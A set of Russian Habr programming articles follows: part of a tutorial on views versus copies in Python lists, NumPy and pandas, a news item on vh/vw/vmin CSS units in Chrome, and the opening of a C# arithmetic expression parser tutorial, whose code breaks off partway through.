a_demo (after) -> ['d1', ['d2', 'd3']]
a_demo_deep_copy -> ['D1', ['D2', 'd3']]
```
Показанный пример несложно обобщить. Любой способ получения среза списка в Python, например, `a[:]`, `a[1:4]`, `a[:5]` или `a[::-1]`, приводит к созданию поверхностной копии извлекаемой части списка. А что происходит при конкатенировании или умножении списков? Сможете спрогнозировать исход операций ниже?
```
b = a + a
show_address('a', a)
show_address('b (first part)', b, 0)
show_address('b (second part)', b, 3)
b = a*3
show_address('\na', a)
show_address('b (first part)', b, 0)
show_address('b (second part)', b, 3)
show_address('b (third part)', b, 6)
```
Вывод:
```
a : 4160 | 7728 | 9888 3376 | 3232 0848 2480
b (first part) : 5712 | 7728 | 9888 3376 | 3232 0848 2480
b (second part) : 5712 | 7728 | 9888 3376 | 3232 0848 2480
a : 4160 | 7728 | 9888 3376 | 3232 0848 2480
b (first part) : 5648 | 7728 | 9888 3376 | 3232 0848 2480
b (second part) : 5648 | 7728 | 9888 3376 | 3232 0848 2480
b (third part) : 5648 | 7728 | 9888 3376 | 3232 0848 2480
```
Здесь видно, что мы создаём дополнительные ссылки (привязки) элементов списка, то есть это подобно поверхностному копированию. Такой подход может вести к неожиданным побочным эффектам. Вот пример:
```
a_demo = ['d1', ['d2', 'd3']]
print('a_demo (before) ->', a_demo)
b = a_demo + a_demo
b[0] = 'D1'
b[1][0] = 'D2'
print('b ->', b)
print('a_demo (after) ->', a_demo)
```
Вывод:
```
a_demo (before) -> ['d1', ['d2', 'd3']]
b -> ['D1', ['D2', 'd3'], 'd1', ['D2', 'd3']]
a_demo (after) -> ['d1', ['D2', 'd3']]
```
Ещё раз призываю вас самостоятельно поэкспериментировать с подобными примерами. Простота синтаксиса и его лаконичность делают Python отличным языком для экспериментов.
Массивы NumPy
-------------
По аналогии со списками Python массивы NumPy также можно копировать или раскрывать через их представление. Чтобы продемонстрировать эту функциональность, мы создадим массив из случайных целых чисел в диапазоне от 0 до 9 включительно.
```
import numpy as np
import sys
def show_details(a_np):
print('array is\n', a_np)
print(f'\ndatatype is {a_np.dtype}')
print(f'number of bytes is {a_np.nbytes} bytes ({a_np.size} x 8 bytes)')
print(f'size is {sys.getsizeof(a_np)} bytes')
print(f'owndata is {a_np.flags.owndata}')
print(f'base is {a_np.base}')
a_np = np.random.randint(0, 10, (5,5), dtype='int64')
show_details(a_np)
```
При этом мы попутно определили вспомогательную функцию для отображения элементов массива, общего количества занятых ими [байтов](https://numpy.org/doc/stable/reference/generated/numpy.ndarray.nbytes.html), [общего размера](https://docs.python.org/3/library/sys.html#sys.getsizeof) массива в памяти, а также логического значения, которое указывает, [владеет ли массив используемой памятью](https://numpy.org/doc/stable/reference/generated/numpy.ndarray.flags.html), или же он её одалживает у [базового объекта](https://numpy.org/doc/stable/reference/generated/numpy.ndarray.base.html), который в этом случае тоже выводится.
Вывод кода выше:
```
[[8 2 8 8 1]
[7 4 2 8 8]
[3 3 2 3 3]
[0 0 7 6 8]
[2 7 3 4 6]]
datatype is int64
number of bytes is 200 bytes (25 x 8 bytes)
size is 328 bytes
owndata is True
base is None
```
Тип данных этого массива явно установлен как `int64`, значит, каждый его элемент потребляет 8 байт. Все 25 элементов массива занимают 200 байт, но общий его размер в памяти составляет 328 байт ввиду присутствия метаданных, отражающих тип данных, размер шагов (stride) и прочую важную информацию, помогающую с этим массивом работать. Мы видим, что наш массив содержит собственные данные (`owndata is True`), в связи с чем его `base` установлена как `None`.
Посмотрим, что произойдёт при создании представления:
```
a_np_view = a_np.view()
show_details(a_np_view)
```
Вывод:
```
[[8 2 8 8 1]
[7 4 2 8 8]
[3 3 2 3 3]
[0 0 7 6 8]
[2 7 3 4 6]]
datatype is int64
number of bytes is 200 bytes (25 x 8 bytes)
size is 128 bytes
owndata is False
base is [[8 2 8 8 1]
[7 4 2 8 8]
[3 3 2 3 3]
[0 0 7 6 8]
[2 7 3 4 6]]
```
Содержимое массива осталось неизменным. Не изменился и тип данных, а также количество байт, занимаемых его элементами. Остальные же атрибуты теперь иные. Размер массива сократился до 128 байт (то есть 328 – 200), поскольку его представление потребляет память для хранения атрибутов. Элементы массива не копировались, на них были созданы ссылки. Об этом говорит изменившееся значение атрибута `base`. На языке NumPy представление содержит тот же буфер данных (фактические данные), но при этом имеет собственные метаданные. Изменение элемента представления приведёт к изменению исходного массива.
Посмотрим, что произойдёт при создании копии:
```
a_np_copy = a_np.copy()
show_details(a_np_copy)
```
Вывод:
```
[[8 2 8 8 1]
[7 4 2 8 8]
[3 3 2 3 3]
[0 0 7 6 8]
[2 7 3 4 6]]
datatype is int64
number of bytes is 200 bytes (25 x 8 bytes)
size is 328 bytes
owndata is True
base is None
```
Вывод выглядит идентично выводу исходного массива. Изменение элемента копии не ведёт к изменению оригинала.
Можно поэкспериментировать с изменением формы, получением срезов и индексированием, чтобы понять, когда создаётся копия, а когда представление.
```
attempts = {'reshape': a_np.reshape(1, 25),
'transpose/reshape': a_np.T.reshape(1, 25),
'ravel': a_np.ravel(),
'transpose/ravel': a_np.T.ravel(),
'transpose/ravel (F-order)': a_np.T.ravel(order='F'),
'flatten': a_np.flatten(),
'transpose/flatten': a_np.T.flatten(),
'slicing': a_np[1:2:5],
'advanced indexing': a_np[[1, 3, 4]],
'combined indexing and slicing': a_np[[0, 2, 4], 1:3],
'Boolean indexing': a_np[[True, False, True, False, False]]
}
for title, b in attempts.items():
if b.base is None:
print(f'{title} produces a copy')
else:
print(f'{title} produces a view')
```
Вывод:
```
reshape produces a view
transpose/reshape produces a view
ravel produces a view
transpose/ravel produces a copy
transpose/ravel (F-order) produces a view
flatten produces a copy
transpose/flatten produces a copy
slicing produces a view
advanced indexing produces a copy
combined indexing and slicing produces a copy
Boolean indexing produces a copy
```
Поведение некоторых функций не всегда одинаково. К примеру, `[numpy.ravel](https://numpy.org/doc/stable/reference/generated/numpy.ravel.html)` возвращает непрерывный уплощённый массив в качестве копии только при необходимости. И напротив, `[numpy.ndarray.flatten](http://numpy.ndarray.flatten/)` всегда возвращает копию массива, свёрнутую до одного измерения. Поведение `[numpy.reshape](https://numpy.org/doc/stable/reference/generated/numpy.reshape.html)` несколько запутанней, так что лучше почитать о ней в официальной документации.
Основной смысл здесь в том, что NumPy создаёт представления, в которых элементы адресуются по смещениям и шагам в исходном массиве, например, при базовом индексировании и получении среза. Такое поведение отличается от поведения списков Python. С другой стороны, при [продвинутом индексировании](https://numpy.org/doc/stable/user/basics.indexing.html#advanced-indexing) всегда создаются копии. Операции изменения формы более сложны, и возвращение копии либо представления определяется контекстом.
Копии, созданные в результате продвинутого индексирования, как и копии, полученные через `[numpy.copy](https://numpy.org/doc/stable/reference/generated/numpy.copy.html)`, не подразумевают глубокого копирования мутабельных элементов внутри массивов. Как и поверхностные копии списков Python, копия массива NumPy содержит тот же самый объект, что может привести к неожиданностям, если этот объект допускает изменение (то есть мутабелен):
```
print('Numpy shallow copy')
a_np_demo = np.array([1, 2, [3, 4]], dtype=object)
print('a_np_demo (before) -> ', a_np_demo)
b = np.copy(a_np_demo)
b[0] = -1
b[2][0] = -3
print('b -> ', b)
print('a_np_demo (after) -> ', a_np_demo)
from copy import deepcopy
print('\nPython deep copy')
a_np_demo = np.array([1, 2, [3, 4]], dtype=object)
print('a_np_demo (before) -> ', a_np_demo)
b2 = deepcopy(a_np_demo)
b2[0] = -1
b2[2][0] = -3
print('b2 -> ', b2)
print('a_np_demo (after) -> ', a_np_demo)
```
Вывод:
```
Numpy shallow copy
a_np_demo (before) -> [1 2 list([3, 4])]
b -> [-1 2 list([-3, 4])]
a_np_demo (after) -> [1 2 list([-3, 4])]
Python deep copy
a_np_demo (before) -> [1 2 list([3, 4])]
b2 -> [-1 2 list([-3, 4])]
a_np_demo (after) -> [1 2 list([3, 4])]
```
Хотя это больше теоретический аспект, поскольку массивы NumPy обычно для хранения мутабельных объектов не используются. Но всё же будет нелишним знать, что `copy.deepcopy()` здесь тоже работает.
Датафреймы pandas
-----------------
По уже налаженной схеме мы определим датафрейм и вспомогательную функцию для вывода его описания.
```
import pandas as pd
import numpy as np
import sys
def show_details(a_df):
print('dataframe is\n', a_df)
print(f'\ndatatypes are {a_df.dtypes.unique()}')
print(f'number of bytes is {a_df.to_numpy().nbytes} bytes ({a_df.size} x 8 bytes)')
print(f'size is {sys.getsizeof(a_df)} bytes')
print(f"pointer to data area {a_df.to_numpy().__array_interface__['data'][0]}")
a_df = pd.DataFrame(np.random.randint(0, 10, (5,5), dtype='int64'),
index = [f'r{i}' for i in range(5)],
columns = [f'c{i}' for i in range(5)])
show_details(a_df)
```
Структура этих данных совпадает со структурой массива NumPy, то есть в датафрейме присутствует 5х5 элементов `int64`, но вдобавок к ним мы определили индексы и имена столбцов. Вспомогательная функция была изменена. Датафреймы Pandas могут содержать в разных столбцах разные типы данных, поэтому мы возвращаем уникальные при помощи `a_df.dtypes.unique()`. Чтобы увидеть, когда содержащиеся данные копируются, а когда на них лишь даётся ссылка, мы сначала через `a_df.to_numpy()` получим внутренний массив NumPy, а затем используем [интерфейс массива](https://numpy.org/doc/stable/reference/arrays.interface.html) для получения указателя на первый элемент его данных.
Вывод:
```
ddataframe is
c0 c1 c2 c3 c4
r0 5 2 8 6 6
r1 1 9 1 1 1
r2 0 7 6 3 7
r3 7 4 9 5 2
r4 5 8 3 7 1
datatypes are [dtype('int64')]
number of bytes is 200 bytes (25 x 8 bytes)
size is 511 bytes
pointer to data area 2893487649296
```
Теперь у нас есть всё необходимое для экспериментов с копиями и представлениями.
Глядя на интерфейс API, можно найти функцию [копирования](https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.copy.html) датафрейма, получающую логический аргумент `deep`. Если он `True` (по умолчанию), создаётся новый объект с копией данных вызывающего объекта и индексами (это не глубокая копия в смысле `copy.deepcopy()` стандартной библиотеки; см. ниже). Эти данные и индексы можно изменить, не затронув исходный датафрейм. Если же `deep = False`, новый объект создаётся без копирования данных или индексов вызывающего объекта, то есть генерируются только ссылки на них. В таком случае любые изменения в данных оригинального датафрейма будут отражаться в его копии.
Поэкспериментируем с представлением:
```
a_df_copy = a_df.copy(deep=False)
show_details(a_df_copy)
print(f'Same base: {a_df.to_numpy().base is a_df_copy.to_numpy().base}')
print(f'Same row index: {a_df.index is a_df_copy.index}')
print(f'Same column index: {a_df.columns is a_df_copy.columns}')
```
Вывод:
```
dataframe is
c0 c1 c2 c3 c4
r0 5 2 8 6 6
r1 1 9 1 1 1
r2 0 7 6 3 7
r3 7 4 9 5 2
r4 5 8 3 7 1
datatypes are [dtype('int64')]
number of bytes is 200 bytes (25 x 8 bytes)
size is 511 bytes
pointer to data area 2893487649296
Same base: True
Same row index: True
Same column index: True
```
Здесь видно, что область данных указывает на тот же адрес памяти, основой массива выступает тот же объект, и два указанных индекса представляют те же объекты.
Теперь создадим копию (`deep=True` используется по умолчанию, но я включаю его для большей ясности).
```
a_df_copy = a_df.copy(deep=True)
show_details(a_df_copy)
print(f'Same base: {a_df.to_numpy().base is a_df_copy.to_numpy().base}')
print(f'Same row index: {a_df.index is a_df_copy.index}')
print(f'Same column index: {a_df.columns is a_df_copy.columns}')
```
Вывод:
```
dataframe is
c0 c1 c2 c3 c4
r0 5 2 8 6 6
r1 1 9 1 1 1
r2 0 7 6 3 7
r3 7 4 9 5 2
r4 5 8 3 7 1
datatypes are [dtype('int64')]
number of bytes is 200 bytes (25 x 8 bytes)
size is 511 bytes
pointer to data area 2893487655536
Same base: False
Same row index: False
Same column index: False
```
Здесь у копии уже используется иная основа, что также отражено в изменённом указателе на область данных. Помимо этого, мы создали новые объекты для двух индексов. Ещё раз напомню, что аналогично массивам NumPy при нахождении в датафрейме мутабельных элементов их изменение в копии приведёт к изменению оригинального датафрейма, как это показано ниже:
```
import re
a_df_demo = pd.DataFrame({'c1': [1, 2], 'c2': [3, {'key1': 'v', 'key2': 'v'}]})
print('a_df_demo (before) ->', re.sub(r'\s+', ' ', str(a_df_demo)))
# make a copy
b = a_df_demo.copy(deep=True)
# remove one key-value pair from the dicitionary at iloc position (1, 1)
del b.iloc[1,1]['key2']
print('b ->', re.sub(r'\s+', ' ', str(b)))
print('a_df_demo (after) ->', re.sub(r'\s+', ' ', str(b)))
```
Вывод:
```
a_df_demo (before) -> c1 c2 0 1 3 1 2 {'key1': 'v', 'key2': 'v'}
b -> c1 c2 0 1 3 1 2 {'key1': 'v'}
a_df_demo (after) -> c1 c2 0 1 3 1 2 {'key1': 'v'}
```
Это не очень частый вариант использования датафреймов Pandas, но его всё же стоит иметь в виду. К сожалению, в Pandas невозможно сделать истинную глубокую копию, используя функцию `copy.deepcopy()` из стандартной библиотеки, поскольку разработчики этой библиотеки [реализовали](https://github.com/pandas-dev/pandas/issues/17406) `pd.DataFrame.__deepcopy__()` как `pd.DataFrame.copy(deep=True)`. Не уверен, изменится ли это в будущем, но в любом случае данный приём считается антипаттерном. Pandas в этом плане отличается от NumPy.
Теперь можно рассмотреть разные способы выбора строк и столбцов с помощью Pandas.
```
attempts = {'select one column': a_df['c1'],
'select one column using []': a_df[['c1']],
'select one column with loc': a_df.loc[:, 'c1'],
'select columns with loc and slicing': a_df.loc[:, 'c1':'c3'],
'select columns with loc and fancy indexing': a_df.loc[:, ['c1', 'c2', 'c3']],
'select rows using loc and a Boolean mask': a_df.loc[a_df['c1']>5],
'select rows with loc and slicing': a_df.loc['r1': 'r3'],
'chained indexing': a_df.loc['r1': 'r3']['c1'],
}
for title, b in attempts.items():
if a_df.to_numpy().base is not b.to_numpy().base:
print(f'{title} does not use the same base')
else:
print(f'{title} uses the same base')
```
Вывод:
```
select one column uses the same base
select one column using [] does not use the same base
select one column with loc uses the same base
select columns with loc and slicing uses the same base
select columns with loc and fancy indexing does not use the same base
select rows using loc and a Boolean mask does not use the same base
select rows with loc and slicing uses the same base
chained indexing uses the same base
```
При базовом индексировании и получении срезов, например, в случае простого индексирования по столбцам с использованием квадратных скобок или аксессора `.loc[]`, используется одна основа, но при остальных операциях это не так. В случае сомнений вышеприведённая схема вычислительных экспериментов позволит получить быстрый ответ.
К сожалению, проверки неизменности основы не всегда достаточно для прогнозирования последствий использования цепного индексирования (см. ниже), но она даёт некоторое базовое понимание. В последней попытке основа остаётся прежней, но даже если мы используем это цепное индексирование для установки значений, исходный датафрейм останется неизменным. Хотя есть и обратный вариант: если основа изменяется, значит, мы работаем с копией. Здесь бы не помешали ваши комментарии, поскольку в этом вопросе я начинаю плавать.
Далее же мы перейдём к заключительной теме, связанной с Pandas, а именно к пресловутому цепному индексированию и связанным с ним `SettingWithCopyWarning`. Используя ранее определённый датафрейм `a_df`, можно попробовать изменить значения конкретных элементов столбца при помощи логического индекса. Если предположить использование цепного индексирования, то на ум приходят два способа:
```
# создание копии, чтобы не изменять исходный датафрейм
a_df_demo = a_df.copy(deep=True)
# установка логического индекса
msk = a_df['c1']>5
# attempt 1: сначала логическое индексирование (выдаёт SettingWithCopyWarning)
print('attempt 1')
a_df_demo.loc[msk]['c3'] = -1
print(a_df_demo)
# attempt 2, логическое индексирование в конце
print('\nattempt 2')
a_df_demo['c3'].loc[msk] = -1 # <- выдаёт предупреждение
print(a_df_demo)
```
Вывод:
```
attempt 1
c0 c1 c2 c3 c4
r0 5 2 8 6 6
r1 1 9 1 1 1
r2 0 7 6 3 7
r3 7 4 9 5 2
r4 5 8 3 7 1
attempt 2
c0 c1 c2 c3 c4
r0 5 2 8 6 6
r1 1 9 1 -1 1
r2 0 7 6 -1 7
r3 7 4 9 5 2
r4 5 8 3 -1 1
:5: SettingWithCopyWarning:
A value is trying to be set on a copy of a slice from a DataFrame.
Try using .loc[row\_indexer,col\_indexer] = value instead
See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user\_guide/indexing.html#returning-a-view-versus-a-copy
a\_df\_demo.loc[msk]['c3'] = -1
```
Здесь имеет значение [порядок выполнения](https://pandas.pydata.org/docs/user_guide/indexing.html#evaluation-order-matters) операций. Первая попытка приводит к выдаче `SettingWithCopyWarning`, что вполне ожидаемо. При использовании аксессора `.loc[]` с логической маской мы получаем копию. Присваивание элементам копии новых значений не ведёт к изменению исходного датафрейма. Это ожидаемое поведение, но Pandas, в отличие от NumPy, делает дополнительный шаг и даёт пользователю рекомендацию. Хотя даже в случае Pandas не стоит особо полагаться на такие предупреждения, поскольку выводятся они не всегда. К примеру,
```
a_df_demo = a_df.copy(deep=True)
a_df_demo.loc[['r1', 'r2', 'r3']]['c3'] = -1
print(a_df_demo)
```
Не выдаёт предупреждения, хотя датафрейм не изменяется, что видно по выводу:
```
c0 c1 c2 c3 c4
r0 5 2 8 6 6
r1 1 9 1 1 1
r2 0 7 6 3 7
r3 7 4 9 5 2
r4 5 8 3 7 1
```
Нужно ли всё это помнить? Не обязательно. Не только потому, что практически нереально перечислить все возможности цепного индексирования, но также ввиду отсутствия гарантии неизменности поведения в различных версиях Pandas при использовании `SettingWithCopyWarning`. Хуже того, может случиться так, что в одной версии датафрейм будет изменяться, а в другой нет (личных подтверждений этому у меня нет, просто опасения).
Использование виртуальной среды и настройка [файла requirements.txt](https://learnpython.com/blog/python-requirements-file/) не только предотвратят ад зависимостей, но и защитят от подобных опасностей, хотя лучше всего знать, какие присваивания в Pandas представляют риски, чтобы их избегать. Ситуация дополнительно усложняется, когда датафрейм содержит [иерархические индексы](https://pandas.pydata.org/docs/user_guide/indexing.html#returning-a-view-versus-a-copy) и разные типы данных. В таком случае пытаться предугадать результат цепного индексирования опасно.
Правильным выходом будет избегать такого вида индексирования и использовать для установки значений один аксессор. Вот пример:
```
a_df_demo = a_df.copy(deep=True)
a_df_demo.loc['r1':'r2', 'c2'] = -1
print(a_df_demo)
```
Этот код выводит изменённый датафрейм, не выводя предупреждение.
```
c0 c1 c2 c3 c4
r0 5 2 8 6 6
r1 1 9 -1 1 1
r2 0 7 -1 3 7
r3 7 4 9 5 2
r4 5 8 3 7 1
```
Так весь смысл в использовании одного аксессора?
------------------------------------------------
Использовать один аксессор и избегать цепного индексирования – это определённо надёжный совет, но есть тут и подвохи. Давайте создадим срез датафрейма и посмотрим, что с ним происходит при изменении исходных данных.
Первая попытка подразумевает три подобных эксперимента.
```
# -- NOT ALWAYS CHANGED --
print('experiment 1')
df = pd.DataFrame({"a": np.arange(4), "b": np.arange(4)})
print('data buffer pointer (before) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (before) ->', df.dtypes.unique().tolist())
my_slice = df.loc[1:3]
print('my_slice (before) ->', my_slice.unstack().to_list())
# Изменяет my_slice
df.loc[1, 'a'] = -10
print('data buffer pointer (after) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (after) ->', df.dtypes.unique().tolist())
print('my_slice (after) ->', my_slice.unstack().to_list())
print('experiment 2')
df = pd.DataFrame({"a": np.arange(4), "b": np.arange(4)})
print('data buffer pointer (before) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (before) ->', df.dtypes.unique().tolist())
my_slice = df.loc[1:3]
print('my_slice (before) ->', my_slice.unstack().to_list())
# Изменяет my_slice
df.loc[0:, 'a'] = -10
print('data buffer pointer (after) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (after) ->', df.dtypes.unique().tolist())
print('my_slice (after) ->', my_slice.unstack().to_list())
print('experiment 3')
df = pd.DataFrame({"a": np.arange(4), "b": np.arange(4)})
print('data buffer pointer (before) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (before) ->', df.dtypes.unique().tolist())
my_slice = df.loc[1:3]
print('my_slice (before) ->', my_slice.unstack().to_list())
# Не изменяет my_slice
df.loc[:, 'a'] = -10
print('data buffer pointer (after) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (after) ->', df.dtypes.unique().tolist())
print('my_slice (after) ->', my_slice.unstack().to_list())
```
Отличаются эти эксперименты только способом изменения исходного датафрейма. Первый изменяет лишь один элемент столбца `a`, второй изменяет весь столбец `a`, а третий также изменяет весь этот столбец, но уже с помощью `df.loc[:,'a']`.
Вот вывод:
```
experiment 1
data buffer pointer (before) -> 2893435341184
data types (before) -> [dtype('int32')]
my_slice (before) -> [1, 2, 3, 1, 2, 3]
data buffer pointer (after) -> 2893435341184
data types (after) -> [dtype('int32')]
my_slice (after) -> [-10, 2, 3, 1, 2, 3]
experiment 2
data buffer pointer (before) -> 2893490708496
data types (before) -> [dtype('int32')]
my_slice (before) -> [1, 2, 3, 1, 2, 3]
data buffer pointer (after) -> 2893490708496
data types (after) -> [dtype('int32')]
my_slice (after) -> [-10, -10, -10, 1, 2, 3]
experiment 3
data buffer pointer (before) -> 2893435341184
data types (before) -> [dtype('int32')]
my_slice (before) -> [1, 2, 3, 1, 2, 3]
data buffer pointer (after) -> 2893491528672
data types (after) -> [dtype('int64'), dtype('int32')]
my_slice (after) -> [1, 2, 3, 1, 2, 3]
```
В результате успешного изменения датафрейма его срез также изменяется только в первых двух экспериментах. Если посмотреть внимательно, тип одного из столбцов датафрейма изменился на `int64`, а его буфер данных переместился в памяти. Я думаю, что причина преобразования типа в изменении значения всего столбца `a`. В этом можно убедиться, если установить тип данных явно при создании датафрейма.
```
# -- ALWAYS CHANGED --
print('experiment 1')
df = pd.DataFrame({"a": np.arange(4), "b": np.arange(4)}, dtype='int64')
print('data buffer pointer (before) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (before) ->', df.dtypes.unique().tolist())
my_slice = df.loc[1:3]
print('my_slice (before) ->', my_slice.unstack().to_list())
# Изменяет my_slice
df.loc[1, 'a'] = -10
print('data buffer pointer (after) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (after) ->', df.dtypes.unique().tolist())
print('my_slice (after) ->', my_slice.unstack().to_list())
print('experiment 2')
df = pd.DataFrame({"a": np.arange(4), "b": np.arange(4)}, dtype='int64')
print('data buffer pointer (before) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (before) ->', df.dtypes.unique().tolist())
my_slice = df.loc[1:3]
print('my_slice (before) ->', my_slice.unstack().to_list())
# Изменяет my_slice
df.loc[0:, 'a'] = -10
print('data buffer pointer (after) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (after) ->', df.dtypes.unique().tolist())
print('my_slice (after) ->', my_slice.unstack().to_list())
print('experiment 3')
df = pd.DataFrame({"a": np.arange(4), "b": np.arange(4)}, dtype='int64')
print('data buffer pointer (before) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (before) ->', df.dtypes.unique().tolist())
my_slice = df.loc[1:3]
print('my_slice (before) ->', my_slice.unstack().to_list())
# Не изменяет my_slice
df.loc[:, 'a'] = -10
print('data buffer pointer (after) ->', df.to_numpy().__array_interface__['data'][0])
print('data types (after) ->', df.dtypes.unique().tolist())
print('my_slice (after) ->', my_slice.unstack().to_list())
```
Вывод:
```
experiment 1
data buffer pointer (before) -> 2893491528672
data types (before) -> [dtype('int64')]
my_slice (before) -> [1, 2, 3, 1, 2, 3]
data buffer pointer (after) -> 2893491528672
data types (after) -> [dtype('int64')]
my_slice (after) -> [-10, 2, 3, 1, 2, 3]
experiment 2
data buffer pointer (before) -> 2893486517968
data types (before) -> [dtype('int64')]
my_slice (before) -> [1, 2, 3, 1, 2, 3]
data buffer pointer (after) -> 2893486517968
data types (after) -> [dtype('int64')]
my_slice (after) -> [-10, -10, -10, 1, 2, 3]
experiment 3
data buffer pointer (before) -> 2893491528672
data types (before) -> [dtype('int64')]
my_slice (before) -> [1, 2, 3, 1, 2, 3]
data buffer pointer (after) -> 2893491528672
data types (after) -> [dtype('int64')]
my_slice (after) -> [-10, -10, -10, 1, 2, 3]
```
Думаю, нет особого смысла оставлять уже неактуальный срез, если только он не был явно скопирован с помощью `df.loc[1:3].copy()`. В противном случае всегда можно получить свежий срез датафрейма именно в момент необходимости. Хотя это вполне рабочий эксперимент, позволяющий лучше понять тему представлений и копий.
Заключение
----------
Чтобы понять, когда Python создаёт копии, а когда представления, необходима практика. Списки Python, массивы NumPy и датафреймы Pandas предлагают функции для создания копий и представлений, как это показано в таблице ниже.
*Интерактивная версия доступна в [оригинале статьи](https://towardsdatascience.com/views-and-copies-in-python-1e46b5af4728)*
Однако самые важные выводы связаны с поведением инструкций присваивания на основе индексов при использовании массивов NumPy и датафреймов Pandas:
* цепное индексирование NumPy обычно вполне ясно: базовое индексирование даёт представления, а продвинутое возвращает копии, которые исключают изменение исходного массива в случае новых присваиваний. Это поведение несколько усложняется при использовании операций изменения формы (`reshape`);
* цепного индексирования в Pandas желательно избегать, используя вместо него один аксессор для всех присваиваний. Это касается даже тех случаев, когда поведение цепного индексирования, казалось бы, можно спрогнозировать.
Понимать принцип создания представлений и копий очень важно, особенно при работе с крупными массивами и датафреймами. Надеюсь, эта статья послужит основой для дальнейшего изучения темы. Несомненно, некоторые аспекты я упустил, а некоторые — мог неверно понять сам. Буду признателен за ваши справедливые замечания и дополнения в комментариях, которые лишний раз подтвердят истинность изречения Альберта Эйнштейна.
### ▍ Рекомендуемые материалы:
* Прекрасная [статья](https://realpython.com/pandas-settingwithcopywarning) (англ.) о вездесущем `SettingWithCopyWarning` в Pandas;
* Документация Python по [копиям и представлениям](https://numpy.org/devdocs/user/basics.copies.html#copies-and-views);
* Документация Pandas по [копиям и представлениям](https://pandas.pydata.org/docs/user_guide/indexing.html#returning-a-view-versus-a-copy).
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=rabota_s_poverxnostnymi_i_glubokimi_kopiyami_v_python) | https://habr.com/ru/post/702486/ | null | ru | null |
# В Chrome Canary заработали новые единицы измерения CSS — vh, vw и vmin
В девелоперской версии Google Chrome (на момент написания статьи — Chrome 20) появилась поддержка новых единиц измерения CSS — vh, vw и vmin, которые пару месяцев назад [были реализованы](http://habrahabr.ru/post/139631/) в движке Webkit. До этого они работали только в Internet Explorer 9-й и 10-й версий. Эти [единицы](http://www.w3.org/TR/css3-values/#viewport-relative-lengths) задают размеры объектов относительно высоты или ширины окна. В отличие от процентов, они всегда привязаны именно к окну браузера, а не к контейнеру текущего блока. `1vh` равен 1% высоты окна, `1vw` — 1% ширины, `1vmin` — меньшему из этих двух значений.
Примеры:
```
h1 {
font-size: 4.2vw;
}
header {
height: 15vh;
}
#someDiv {
padding: 2vmin;
}
```
##### Особенности использования
При изменении размеров окна браузера размеры блочных элементов, указанные в vh, vw или vmin, меняются в реальном времени, а размеры шрифта — только после перерисовки. В случае изменения масштаба (Ctrl+ или Ctrl-) размер шрифта меняется, а размеры блоков — нет. Internet Explorer ведёт себя точно так же.
В IE вместо «vmin» используется название «vm» (поддержка этих единиц появилась в IE довольно давно, и в те времена в спецификации W3C было именно «vm», а не «vmin»).
В отличие от IE, Chrome Canary пока не понимает новые единицы в свойстве border.
Ссылки в тему: [Статья на СSS Tricks](http://css-tricks.com/viewport-sized-typography/), [статья на Хабре](http://habrahabr.ru/post/126863/). | https://habr.com/ru/post/143105/ | null | ru | null |
# Простой парсер арифметических операций
Для учёбы необходимо было написать парсер арифметических операций, который мог бы рассчитывать не только простейшие операции, но и работать со скобками и функциями.
В интернете не нашел готовых и подходящих для меня решений (некоторые были чересчур сложные, другие были не полностью удовлетворяли условиям моей задачи). Немного погрустив, приступил к решению задачи самостоятельно и теперь хочу поделиться своим ~~г\*\*\*\*кодом~~ оригинальным решением с миром.
Первая проблема, с которой я столкнулся — скобки. Мало того, что они должны выполняться первыми, так внутри них также могут находиться скобки. И так далее.
Точно такая же история с функциями — в параметрах функции могут находится другие функции и даже целые выражения.
Но об этом чуть-чуть позже. Для начала надо спарсить все выражение. Заметим, что у нас могут встретиться или скобка, или число, или операнд(+, -, \*, /, ^), или функция, или константа.
Создадим для всего этого дела списки:
```
public static List digits = new List() { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "," };
public static List operands = new List() {"^", "/", "\*", "+", "-"};
public static List functions = new List() { "sqrt", "sin", "cos", "log", "abs"};
public static List brackets = new List() { "(", ")" };
public static List constants = new List() { "pi" };
public static Dictionary constantsValues = new Dictionary() { ["pi"] = "3,14159265359" };
```
И будем проверять по очереди каждый символ. Естественно, если мы встретили знак "+" или "-" не после цифры, значит этот знак обозначает положительность или отрицательность числа, соответственно.
```
for (int i = 0; i < expression.Length; i++) {
if (brackets.Contains(expression[i].ToString())){
if (lastSymbol != ""){
symbols.Add(lastSymbol);
lastSymbol = "";
} // на случай, если до скобки шло число
symbols.Add(expression[i].ToString()); // Если встретили скобку - без разбирательств добавляем ее в массив символов
}
else if (digits.Contains(expression[i].ToString()) || (expression[i] == ',' && lastSymbol.IndexOf(",") == -1)){
lastSymbol += expression[i];
} // если встретили цифру - добавляем ее в специальную переменную, чтобы не разделять число
else if(operands.Contains(expression[i].ToString())) {
if (lastSymbol != ""){
symbols.Add(lastSymbol);
lastSymbol = "";
}
if (symbols.Count > 0 && operands.Contains(symbols[symbols.Count - 1]) || symbols.Count == 0) {
string number = "";
switch (expression[i].ToString()) {
case "-": number += "-"; break;
case "+": number += "+"; break;
}
i++;
while (i < expression.Length && digits.Contains(expression[i].ToString())){
number += expression[i];
i++;
}
symbols.Add(number);
i--;
} // Если встретили "-" или "+", то проверяем - это знак арифметической операции или знак числа
else symbols.Add(expression[i].ToString());
}else{
lastFunction += expression[i].ToString().ToLower(); // Если ни одно условие не прошло => перед нами функция или константа
if (constants.Contains(lastFunction)) {
symbols.Add(constantsValues[lastFunction]);
lastFunction = "";
} // Если перед нами константа - добавляем ее в список символов как значение
else if (functions.Contains(lastFunction))
{
int functionStart = i + 1; // Находим первую скобку
int functionEnd = 0;
int bracketsSum = 1;
for (int j = functionStart + 1; j < expression.Length; j++)
{
if (expression[j].ToString() == "(") bracketsSum++;
if (expression[j].ToString() == ")") bracketsSum--;
if (bracketsSum == 0)
{
functionEnd = j;
i = functionEnd;
break;
}
